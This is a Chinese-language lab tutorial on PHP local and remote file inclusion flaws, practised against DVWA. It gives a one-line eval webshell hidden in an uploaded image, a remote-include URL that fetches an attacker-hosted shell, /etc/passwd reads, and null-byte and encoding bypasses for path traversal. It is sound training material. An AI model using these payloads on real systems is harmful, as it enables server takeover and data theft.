您好,登錄后才能下訂單哦!
本實驗是基于DVWA和sqli-labs的實驗環境
實驗平臺搭建:下載Wamp集成環境,并下載DVWA和sqli-labs和壓縮包解壓至wamp\www的目錄下。安裝只要注意Wamp環境的數據庫名和密碼對應即可。
0x01:文件包含漏洞
服務器通過php的特性(函數)去包含任意文件時,由于要包含的這個文件來源過濾不嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到邪惡的目的。
這也算官方的解釋吧,用個人的話說,通過瀏覽器、url地址或者是一個參數的變量的內容,可以通過修改這些url或者參數變量的內容,讀取到web根目錄以前其他文件,但是不同于目錄瀏覽,目錄瀏覽是可以通過瀏覽器直接顯示www目錄下每一個文件的名稱,把目錄列表給列出來。
文件包含漏洞形成原因
程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱為文件包含。程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,
但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語言設計的弊端。在PHP中經常出現包含漏洞,但這并不意味這其他語言不存在。
常見文件包含函數
include():執行到include時才包含文件,找不到被包含文件時只會產生警告,腳本將繼續執行
require():只要程序一運行就包含文件,找不到被包含的文件時會產生致命錯誤,并停止腳本
include_once()和require_once():這兩個函數和前兩個函數作用幾乎相同,區別在于若文件中代碼已被包含則不會再次包含
LFI(本地包含漏洞)目錄遍歷可以理解為本地包含漏洞,驗證以及利用方法都相同。
RFI(遠程包含漏洞)可以包含進其他主機的url地址,如自己開放一個www服務,然后在上面放一個***文件,如果是代碼會在這個機器上執行的。拿到shell的權限要看運行www服務的帳號。
包含漏洞的特征:(這個可以說是文中的干貨了)
在某一個頁面中,一個變量的值等于一個頁面文件或者是一個固定的值,如
?page=a.asp
?home=b.html
?file=content
漏洞分類
本地文件包含:可以包含本地文件,在條件允許時甚至能執行代碼
上傳圖片馬,然后包含
讀敏感文件,讀PHP文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
包含data:或php://input等偽協議
若有phpinfo則可以包含臨時文件
遠程文件包含:可以直接執行任意代碼
要保證php.ini中allow_url_fopen和allow_url_include要為On
0x02、文件包含漏洞利用
1、包含讀出目標機上其它文件
如果對取得的參數page沒有過濾,于是我們可以任意指定目標主機上的其它敏感文件
在linux中,"."表示當前目錄,“..”表示上一層目錄,當../到根目錄下,再往上層父目錄仍舊是根目錄。
用常見的“../”包含出日志文件。
2、包含可運行的PHP***
在很多地方,我們都可以上傳圖片,如上傳頭像,圖片等,這這里先上傳圖片,圖片的內容為一句話***
<?php @eval($_POST['cmd']);?>
由于上傳的限制,一般只能上傳jpg,png的圖片格式,代碼無法執行,我們用本地包含的方式將圖片包含進來,代碼就執行了,代碼不需要后綴名是php、asp的格式,只要內容是代碼即可執行。
然后用中國菜刀連接(功夫再高,也怕菜刀!)
3.遠程包含url和php***
如果目標主機的"allow_url_fopen"是激活的(默認是激活的),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運行
不需要后綴名是php、asp的格式,只要內容是代碼就可以。
出現概率少于本地包含,但更容易被利用
如在自己服務器上寫上一句話代碼,然后用遠程包含漏洞去包含這個鏈接,
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.0.117/a.php
然后同上,用菜刀連接,獲取webshell。
0x03、包含漏洞繞過技巧
在利用包含漏洞中,經常遇到一個問題,在查看page=/etc/passwd的時候,出現報錯,找不到/etc/passwd.php文件,說明默認自動加上了后綴名.php,繞過的方式有一下幾種
1.編碼繞過字符過濾
(1)加“.”,當加點,會忽略點后面的內容。
(2)“%00”,即null空字符(/etc/passwd%00),在php語言格式里,當遇到%00的時候,后面不管有無其他東西,都不看了,只看%00前面的內容
(3)“#”,繞過文件擴展名過濾
2、編碼
url編碼、雙層(多層)url編碼
%2e%2e%2f 解碼:../
%2e%2e%5c 解碼:..\
%25%2e%25%2e%255c 解碼:..\(可使用burp多層編碼和解碼)
uniclode/UTF-8編碼
..%c0%af 解碼:../
%c1%9c 解碼:..\
但編碼能否正確的起到效果,得看web server是否能對編碼后的做解析
3、其他系統可能是使用到的特殊字符
file.txt ...
file.txt <spaces>
file .txt """"""""
file.txt <<>><
./././ file.txt
4、***向量字典
在kali中,也存在***向量字典路徑是“/usr/share/wfuzz/wordlist/vulns”
利用條件
程序用include()等文件包含函數通過動態變量的范式引入需要包含的文件
用戶能夠控制該動態變量
漏洞危害
這類漏洞看起來貌似并不嚴重,一旦被惡意利用則會帶來很大的危害。本地文件包含不僅能夠包含web文件目錄中的一些配置文件(比如Web應用、數據庫配置文件、config文件),還可以查看到一些Web動態頁面的源代碼,為***者進一步發掘web應用漏洞提供條件,甚至一旦與路徑遍歷漏洞相結合,還可能直接攫取目標系統的用戶名與密碼等文件。并且能執行任意代碼,甚至控制服務器。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。